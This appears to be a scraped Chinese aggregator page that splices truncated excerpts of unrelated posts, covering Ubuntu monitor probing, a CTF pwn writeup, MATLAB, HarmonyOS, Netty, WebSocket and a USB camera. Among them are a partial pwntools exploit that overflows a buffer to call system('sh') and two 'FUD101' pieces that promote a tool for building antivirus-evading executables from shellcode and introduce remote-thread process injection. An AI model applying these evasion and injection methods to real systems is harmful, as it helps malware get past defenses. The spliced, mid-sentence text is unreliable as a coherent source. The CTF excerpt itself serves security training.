x48

Ubuntu18.0.4查看显示器型号

做~自己de王妃 提交于 2021-02-11 20:52:07
在官网 https://launchpad.net/ubuntu/+source/xresprobe 下载二进制包,apt-get目前无法安装xresprobe 输入命令 sudo ddcprobe 得到如下信息 root@jonas-ZHAOYANG-E40- 70 :/home/jonas/Downloads/xresprobe- 0.4 .24ubuntu9# ddcprobe vbe: VESA 3.0 detected. oem: Intel(R) HSW Mobile / Desktop Graphics Chipset Accelerated VGA BIOS vendor: S� product: S� S� memory: 32704kb mode: 1280x1024x256 mode: 1280x1024x64k mode: 1280x1024x16m mode: 1024x768x256 mode: 1024x768x64k mode: 1024x768x16m mode: 640x480x16m mode: 800x600x64k mode: 800x600x16m mode: 640x480x256 mode: 800x600x256 mode: 640x480x64k edid: edid: 1 4 id : 333c eisa: AUO333c

buuoj Pwn writeup 21-30

喜夏-厌秋 提交于 2021-02-08 09:34:38
21 ciscn_2019_ne_5 保护 这个地方的strcpy函数,一看就估摸着有问题。 他把src那块的东西复制到了dest 但是你会发现 dest那里 0x48 但是你是可以往src那里输入东西的。 一口气能输128个字节,那这就造成了溢出。 那再说怎么利用 这个地方首先要注意他这里没有/bin/sh,但是有sh 而且还非常隐蔽 所以呢咱们这边推荐之后/bin/sh跟sh的搜索都用ROPgadget。 非常的nice 然后程序里面本来就有system函数,然后就一把梭。 exp from pwn import * context ( log_level = 'debug' ) proc_name = './2019' p = process ( proc_name ) # p = remote('node3.buuoj.cn', 29868) elf = ELF ( proc_name ) system_addr = elf . sym [ 'system' ] main_addr = elf . sym [ 'main' ] sh_str = 0x80482ea p . sendlineafter ( 'password:' , 'administrator' ) p . recv ( ) p . sendline ( '1' ) p . recvuntil (

执行方式免杀之注入(FUD101连载五)

送分小仙女□ 提交于 2021-01-23 05:20:59
声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 前言 针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases] 工具界面如下: 效果如下: 我们在进行上面的实验时,会遇到一个问题,就是我们所启动的程序一旦被关,那么 shell 就掉了。所以,这一章节我们将学习如何将自己的代码注入到其他进程当中,这样即使我们自己的程序被关,也不会影响后面的操作。而且,注入通常会有不错的免杀效果,也能够增加分析难度。 No.1 线程注入 基本实现 CreateRemoteThread 官方定义为: https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf

FUD101(连载): 一、shellcode免杀

二次信任 提交于 2021-01-23 04:57:11
No.1 声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 No.2 前言 针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases] 工具界面如下: 效果如下: 目前,针对 shellcode 的免杀,在不讨论自己编写 shellcode,而是使用现成的 shellcode(msfvenom、cobaltstrike等)的情况下,主要有两种方式: 1、分离免杀 分离免杀主要是将 shellcode 和 loader 彻底分开,比如可以将 shellcode 藏在其他文件中、放在网络上等等。 2、加密混淆 加密混淆指将 shellcode 进行一定变形处理后,同 loader 放在一起,打包为一个完整独立的可执行文件。

基于MATLAB&摄像头的实时目标跟踪

一笑奈何 提交于 2021-01-22 06:56:08
硕士毕业前夕所写的一篇博客,一直没有发表出来,没想到今天有同事竟然翻到了我好几年不更新的博客,所以就把这篇文章贴出来,算是填补这几年不更新博客的空白吧。 MATLAB界面设计功能强大,同时制作出的界面美观大方,功能上亦是非常直观,另外由于本文前述部分算法仿真也是基于MATLAB所实现,故可有效避免MATLAB与其他语言的混合编程,以减少软件界面设计难度。MATLAB为用户开发图形界面提供了一个方便高效的集成开发环境—GUIDE,几乎所有的工作都能够在GUIDE所提供的环境和工具中实现。在编写完成后,GUIDE将用户保存设计好的GUI界面保存在一个FIG资源文件中,同时还能够生成包含GUI初始化和组建界面布局控制代码的M文件。当然基于MATLAB的GUI设计也可避开GUIDE的使用,但相对来说更为复杂,不够直观,且效率会大大降低。 在MATLAB 2014a环境下,通过在命令行输入guide或单击MATLAB主窗口的快速启动按钮即可以打开GUIDE编辑对话框。在新建的空GUI中添加自己需要的菜单、按钮等控件,最后通过编写回调函数完成需要的控件功能,即可完成整个GUI软件界面的编写,在GUIDE下所生成的界面框架如图 所示,在此基础上只要想应的为每个按键、坐标及编辑框添加相应的回调函数和句柄及设置相应参数即可完成整个GUI的设计工作。

Day2 鸿蒙的Text,相较于Android的TextView看看控件通用属性有什么不一样

你。 提交于 2020-12-11 10:31:29
在鸿蒙的DevEco-Studio中新建工程模板的控件Text属性如下: ohos:id="$+id:text_helloworld" ohos:height="match_content" ohos:width="match_content" ohos:background_element="$graphic:background_ability_main" ohos:layout_alignment="horizontal_center" ohos:text="Hello World" ohos:text_size="50" 1、id(通用属性) id,控件的唯一标识。 【Android】 @+id:android:id="@+id/名称" 表示创建该控件的id @id:android:id="@id/名称" 表示引用其他控件的id 【鸿蒙】 @+id:ohos:id="$+id:名称" 表示创建该控件的id @id:未出现该用法 2、height、width(通用属性) height,布局文件的一个属性。 【Android】 @layout_height:android:layout_height="属性/数值" 表示该控件的高度 @layout_width:android:layout_width="属性/数值" 表示该控件的高度 * 属性列表: wrap_content

高性能TcpServer(Java) - Netty

女生的网名这么多〃 提交于 2020-11-26 13:21:37
源码下载 -> 提取码 QQ:505645074 Netty 是一个高性能、异步事件驱动的 NIO 框架,它提供了对 TCP 、 UDP 和文件传输的支持,作为一个异步 NIO 框架,Netty 的所有 IO 操作都是异步非阻塞的,通过 Future - Listener 机制,用户可以方便的主动获取或者通过通知机制获得 IO 操作结果。 作为当前最流行的 NIO 框架,Netty 在互联网领域、大数据分布式计算领域、游戏行业、通信行业等获得了广泛的应用,一些业界著名的开源组件也基于 Netty 的 NIO 框架构建。 协议解析代码: package nettyserver; import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelInboundHandlerAdapter; import io.netty.handler.timeout.IdleStateEvent; import io.netty.util.ReferenceCountUtil; import java .util.HashMap; import java .util.Map;

屏幕适配方案

北战南征 提交于 2020-11-17 14:04:17
前言: 屏幕适配说白了就是将设计图按宽或高进行整体等比缩放。 方案: 如设计图分辨率(宽360px,高560px),手机屏分别率(宽1080px,高1920px),按宽进行适配需要将设计图的控件尺寸宽高等比放大(手机屏宽1080px / 设计图宽360px = 3)倍,而获取xml中定义的所有控件再分别对宽高放大3倍,这操作我们通过代码实现,显然很繁重,然而我就将这部分工作交给系统,要知道控件在系统中宽高最终都转成px(px= density * dp),我们就巧妙利用系统的转换公式,将density = 手机屏宽 / 设计图宽,在xml中直接将设计图px值作为dp值使用即可(如设计图控件宽360px,那么xml中宽定义为360dp)。同理按高适配只需将density = 手机屏高 / 设计图高,在xml中使用dp系统则自行进行缩放。如果有的页面需要按宽有的页面需要按高适配或同一页面不同控件有的需按高适配有的需按高适配,我们可以利用(px = xdpi / 72 * pt)将xdpi = 手机屏高 / 设计图高 * 72,xml中将需要按高度适配的控件宽高定义成pt,按宽度适配的控件宽高定义成dp即可。 实现: 只需在application的onCreate方法中调用ScreenUtil的init方法即可 object ScreenUtil { fun init

ALL2CN#RFC#RFC6455 WebSocket 协议

生来就可爱ヽ(ⅴ<●) 提交于 2020-11-05 08:57:17
原文地址: https://tools.ietf.org/html/rfc6455 中文翻译地址: https://juejin.im/post/6844903779192569869 摘要 WebSocket协议能够通过在受控的环境中运行不可信代码的客户端与已选择通信的远端主机基于该不可信代码进行双向交流。这个用于WebSocket的安全模型是复用Web浏览器使用的基于Origin的安全模型(origin-based security model,可以参考[此处][2])。这个协议由一个开放的握手过程组成,其次是基于TCP的基本数据帧。这个技术的目标是提供基于浏览器的应用与服务端进行双向通行的机制,而不需要通过多个HTTP连接(例如使用XMLHttpRequest或者Iframe模拟长轮询)。 备忘录状态 这是一个互联网标准跟踪文档。 这个文档是由互联网工程任务组(IETF,Internet Engineering Task Force)产出的。它代表了互联网工程任务组社区的共识。这个文档已经征求过公众的意见并且互联网工程指导小组(IESG,Internet Engineering Steering Group)已经同意发布。更多关于互联网标准的信息在[RFC 5741的第二节][3]可以看到。 关于这篇文档当前状态的信息和勘误表,以及如何进行反馈可以在[此处][4]查看。

iTOP-iMX6ULL开发板-Qt5下使用UVC摄像头

旧城冷巷雨未停 提交于 2020-10-24 15:52:24
本章节使用的资料已经放到了迅为IMX6ULL开发板网盘资料中,路径为:11_ Linux 系统开发进阶\91_章节使用资料。 本章节介绍如何在 Qt5 文件系统测试 USB 免驱摄像头,例程中使用迅为 i.MX6ULL 终结者开发板,yocto 的 Qt5 文件系统和编译器,测试程序(Qt5Camera)在本章节同一目录下。 将 UVC 摄像头连接到开发板的 USB 接口上,查看多出的设备结点,例程中设备节点为“/dev/video2”, 修改测试程序,在 processimage.cpp 文件中修改设备结点, 帧的宽高可在 videodevice.h 里的宏定义设置,本例程以 640x480 为例: 交叉编译测试程序后,将可执行文件拷贝到开发板运行,终端会打印出摄像头信息: 屏幕显示出画面: 能显示出图像说明摄像头正常。 来源: oschina 链接: https://my.oschina.net/u/3005926/blog/4537662